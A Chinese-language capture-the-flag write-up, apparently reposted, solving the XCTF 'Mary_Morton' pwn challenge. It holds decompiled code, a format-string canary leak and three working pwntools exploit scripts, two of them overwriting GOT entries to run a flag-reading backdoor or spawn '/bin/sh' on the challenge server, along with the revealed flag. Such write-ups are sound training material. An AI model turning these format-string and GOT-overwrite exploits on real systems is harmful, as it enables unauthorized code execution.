XCTF-攻防世界CTF平台-PWN类——1Mary_Morton

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-PWN类——1Mary_Morton相关的知识,希望对你有一定的参考价值。

1、查看程序基本信息

Mary_Morton程序,先用file查看:

Linux下64位的ELF文件
再用checksec查看

程序开启了Partial RELRO、NX和Canary,没有PIE。程序开启了canary,就不能直接利用栈溢出覆盖返回地址了。因为在初始化一个栈帧时在栈底(stack overflow发生的高位区域的尾部)设置一个随机的 canary 值,函数返回之时检测canary的值是否经过了改变。
运行程序:

功能1是栈溢出漏洞,功能2是格式化字符串漏洞,功能3是退出

2、反编译程序

我们再用IDA64打开,找到main函数:
main函数伪代码:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960();
    else
      puts("Wrong!");
  }
}

main函数程序逻辑:根据输入的数字,功能2是调用sub_4008EB()函数,功能3是输出“Bye”后exit(0),功能1是sub_400960()函数。
功能2,sub_4008EB()函数伪代码:

unsigned __int64 sub_4008EB()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u); //从位置 FS:[0x28u]读取双字的内容
  memset(buf, 0, 0x80uLL);                      
  read(0, buf, 0x7FuLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}

sub_4008EB()函数程序逻辑:把输入的字符串复制127(0x7F)字节到buf数组中,之后printf(buf)输出buf数组中的内容,这里存在格式化字符串漏洞。
另外:v2 = __readfsqword(0x28u)就是canary的值,return __readfsqword(0x28u) ^ v2就是判断canary的值有没有被更改,被更改了异或的结果就会返回0,如下图所示:

返回0的时候就会调用___stack_chk_fail,停止程序运行。
功能1,sub_400960()函数伪代码:

unsigned __int64 sub_400960()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x100uLL);
  printf("-> %s\\n", buf);
  return __readfsqword(0x28u) ^ v2;
}

sub_400960()函数程序逻辑:把输入的字符串复制256(0x100)字节到buf数组中,这里存在一个缓冲区溢出漏洞,之后以字符串格式输出buf数组中的内容。
且上面的canary的值和功能2的值相同。

3、攻击思路

攻击思路:所以我们在这里需要利用格式化字符串和缓冲区溢出两个漏洞,先通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖。
在程序中有一个函数sub_4008DA,它就是负责调用system执行/bin/cat ./flag查看flag

所以我们的最终目的就是执行sub_4008DA函数。

(1)先利用功能2格式化字符串漏洞

首先确定格式化字符串和buf数组存储位置的距离,输入字符:
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

可以看到输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数的位置
在前面的代码中我们知道canary([rsp+88h] [rbp-8h])与buf数组([rsp+0h] [rbp-90h])的距离为0x88(136),然后八个字节为一组,136 / 8 = 17
那么canary和我们输入的字符串参数的距离就是17 + 6 = 23,也就是我们输出第23个参数就是canary
例如,我们打印出输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数:
AAAA%6$p

同样地,我们可以打印出canary的值
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
%23$p

可以看到输出23个%p的地址和直接输入第23个地址的值都是相同的canary值0x3e0a3eb3cb718a00

(2)找到功能1的sub_400960()函数返回地址的位置

之后我们要找到功能1的sub_400960()函数返回地址的位置,把它改为调用system输出flag的函数sub_4008DA的地址00000000004008DA。
我们先看一下功能2中sub_4008EB()函数的返回地址

返回地址的值是00000000004008B8,所在的位置是canary后面两个位置,相对于输入的字符串参数开始的位置就是第23+2=25个参数,距离(25-1)*8=192个字节

所以同样地,功能1的sub_400960()函数返回地址的位置就是00000000004008AC:

所以我们用pwntools漏洞利用开发库编写python代码来利用漏洞:

from pwn import *

#运行本地的程序
connect=process('./Mary_Morton')
#建立一个到题目端口的远程连接
connect=remote('111.200.241.244',65145)
#接受消息直到收到输出3. Exit the battle的正则表达式
connect.recvuntil('3. Exit the battle')
#之后发送一行数据相当于在末尾加\\n,字符'2'选择功能2
connect.sendline('2')
#发送字符'%23$p',让程序输出canary的值
connect.sendline('%23$p')
#接受到消息中'0x'的正则表达式
connect.recvuntil('0x')
#接收16个字节的数据,再转换成16进制
canary=int(connect.recv(16),16)
print(hex(canary))
#直到接收到到返回的字符串中包含'3. Exit the battle'
connect.recvuntil('3. Exit the battle')
#接着发送字符串'1'选择功能1
connect.sendline('1')

#执行system输出flag的函数地址
flag_addr=0x4008DA
#攻击前22个地址都是填充数据,第23个是canary的值,之后继续一个地址8字节的填充数据,最后是system函数地址
payload='AAAAAAAA'*22+str(p64(canary))+'AAAAAAAA'+str(p64(flag_addr))
# 发送攻击
connect.sendline(payload)
# 进入交互模式
connect.interactive()

但是程序运行之后,依旧无法获得flag,查看内存,发现是64位操作系统的内存地址对齐的问题,函数地址写入之后需要和内存地址对齐不然程序就会崩溃。
同理,我们也找到了另外的两种修改函数地址的攻击思路:

方法二

2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址。

# coding=utf-8
#!/usr/bin/env python
#2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址

from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=process('./Mary_Morton')
#connect=remote('111.200.241.244',61195)
#获得elf文件got表的exit函数地址
exit_got = elf.got['exit']
sys_addr = 0x4008DA
connect.sendline('2')
#print(exit_got:sys_addr)
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{exit_got:sys_addr})
print(payload)
connect.sendline(payload)
connect.recvuntil('battle \\n')
connect.sendline('3')
connect.recv()
connect.interactive()

运行结果:

成功执行system(‘/bin/cat ./flag’)输出flag。
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
方法三
3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 ‘/bin/sh’。

# coding=utf-8
#!/usr/bin/env python
# 3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 '/bin/sh'

from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=remote('111.200.241.244',61195)
#connect=process('./Mary_Morton')
#获得elf文件got表的printf函数地址
printf_got = elf.got['printf']
sys_plt = 0x04006A0
connect.sendline('2')
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{printf_got:sys_plt})
connect.sendline(payload)
connect.recvuntil('battle \\n')
connect.sendline('2')
#发送参数'/bin/sh',这样执行system('/bin/sh')就会获得权限
connect.sendline('/bin/sh')
connect.recv()
connect.interactive()

运行结果:

成功获得远程命令执行权限,查看当前目录下的flag文件
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
注意每个端口对应flag文件不同,我这个是端口61195下的flag。

以上是关于XCTF-攻防世界CTF平台-PWN类——1Mary_Morton的主要内容,如果未能解决你的问题,请参考以下文章

CTF PWN-攻防世界XCTF新手区WriteUp

XCTF-攻防世界CTF平台-Web类——14supersqli

XCTF-攻防世界CTF平台-Reverse逆向类——31hackme

XCTF-攻防世界CTF平台-Web类——6warmup

XCTF-攻防世界CTF平台-Web类——7NewsCenter

XCTF-攻防世界CTF平台-Reverse逆向类——53easyCpp